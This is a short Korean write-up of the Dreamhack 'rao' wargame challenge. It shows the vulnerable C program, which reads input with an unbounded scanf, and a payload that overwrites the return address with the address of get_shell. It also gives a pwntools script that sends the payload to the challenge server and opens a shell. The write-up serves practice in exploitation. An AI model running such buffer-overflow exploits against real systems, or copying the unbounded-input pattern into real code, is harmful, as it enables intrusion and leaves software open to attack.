문제

 

 

 

 

 

풀이

제공된 파일: rao.c

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

 

 

 

rao를 컴파일 한 후 디버깅해보자.

스택에 0x30크기의 공간이 할당된 것을 알 수 있다.

현재 스택 프레임은 buf(0x30) + SFP(0x8) + ret(0x8)일 것이라고 추측해볼 수 있다.

 

 

 

그럼 이제 반환 주소를 덮어쓸 get_shell()의 주소를 찾아보자.

get_shell()의 주소는 0x4006aa이다.

따라서 payload는 다음과 같이 작성할 수 있다.

b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00'이다.

 

 

 

 

 

이를 토대로  exploit 코드를 작성했다.

from pwn import *

p = remote("host1.dreamhack.games", 21162)
context.arch = "amd64"

payload = b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00'
p.sendafter("Input: ", payload)
p.interactive()

 

 

 

 

 

한 줄 평

Exploit Tech: Return Address Overwrite에서 실습했던 문제랑 동일해서 수월하게 풀 수 있었다.

 

 

 

 

 

복사했습니다!